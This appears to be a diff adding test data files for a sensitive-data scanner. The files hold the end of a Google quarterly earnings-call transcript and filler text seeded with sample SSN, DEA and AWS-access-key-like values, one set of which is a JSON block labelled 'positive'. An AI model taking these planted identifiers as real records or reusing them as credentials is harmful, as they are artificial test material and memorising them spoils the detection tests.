CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt new file mode 100644 index 0000000..63dc93e --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt @@ -0,0 +1,3 @@ +test awesome 1 good health great awesome1 great 3 yes awesome 3 great test great 100 +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 Current Time : 2020.06.14-17.27.100 diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt b/scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt new file mode 100644 index 0000000..957123d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt @@ -0,0 +1,5 @@ +Super Awesome SSN 3.3 good great test 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL new awesome good awesomefds Great + +SSN 9998880000 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt b/scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt new file mode 100644 index 0000000..97113b6 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt @@ -0,0 +1,3 @@ + ssn great testing awesome yes test happy thanks god 21 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL Anitha Testing11 great awesome great stupendous wonderful 100 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt new file mode 100644 index 0000000..b87e715 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt @@ -0,0 +1,242 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +"dea2": "DEA # BB4053839 | BJ6125341 " + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important 